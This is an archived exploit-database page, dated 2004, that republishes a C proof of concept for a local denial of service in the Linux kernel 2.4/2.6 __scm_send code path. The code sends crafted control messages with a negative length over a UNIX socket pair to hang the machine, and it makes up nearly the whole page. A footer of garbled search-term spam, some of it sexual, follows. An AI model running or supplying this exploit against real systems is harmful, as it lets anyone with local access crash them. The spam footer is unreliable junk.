about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Linux kernel 2.4 & 2.6 scm_send local Denial of Service Exploit



2004-12-15 Linux kernel 2.4 & 2.6 scm_send local Denial of Service Exploit
 

/*
 *	Linux kernel 2.4 & 2.6 __scm_send DoS
 *	Warning! this code will hang your machine
 *
 * gcc -O2 scmbang.c -o scmbang
 *
 * Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS
IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION,
MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */


#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>



static char buf[1024];



void
fatal (const char *msg)
{
 printf ("\n");
 if (!errno)
 {
	 fprintf (stderr, "FATAL: %s\n", msg);
 }
 else
 {
	 perror (msg);
 }
 printf ("\n");
 fflush (stdout);
 fflush (stderr);
 exit (1);
}


int
main (void)
{
 int s[2], r;
 struct sockaddr_in sin;
 struct msghdr *msg;
 struct cmsghdr *cmsg;

 r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s);
 if (r < 0)
	fatal ("socketpair");

 memset (buf, 0, sizeof (buf));
 msg = (void *) buf;
 msg->msg_control = (void *) (msg + 1);

// make bad cmsgs
 cmsg = (void *) msg->msg_control;

 cmsg->cmsg_len = sizeof (*cmsg);
 cmsg->cmsg_level = 0xdeadbebe;
 cmsg->cmsg_type = 12;	// len after overflow on second msg
 cmsg++;

// -12 for deadlock
 cmsg->cmsg_len = -12;
 cmsg->cmsg_level = SOL_IP;
 msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned)
msg->msg_control;
 r = sendmsg (s[0], msg, 0);
 if (r < 0)
	fatal ("sendmsg");

 printf ("\nYou lucky\n");
 fflush (stdout);

 return 0;
}
securitydot.net - 2004-12-15

Advertising

Copyright 2007, SecurityDot
Tue, 15 Dec 2009 17:28:14 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
Pornhub.co http://tip OpenSSH GS cindy craw picturs pokemon fi Erotica Www.aishwa www.oniong WWW.XXL.KO SEXY PNOTO Videos hot pics arab SEXY.VIDEO sexey wall Fucking ba pics arab www arab s infobae.co matrix maxcpm.inf all cartoo Mail2Forum Www.fat as Xxx com www.tactaz Www.indian 2.4.18-3 Sexyteens www.whlvya hot.sex.sc www.zx-j.c Oracle Ser www.zhmf51 derelict Hindi adul Dick puzzy maxcpm.inf 2.6.9-42.0 yuyu.id666 FlashChat host hack www.parkwa allpoto linux ker bebo.com /search/ex www.xwtkd. http://www Nude kate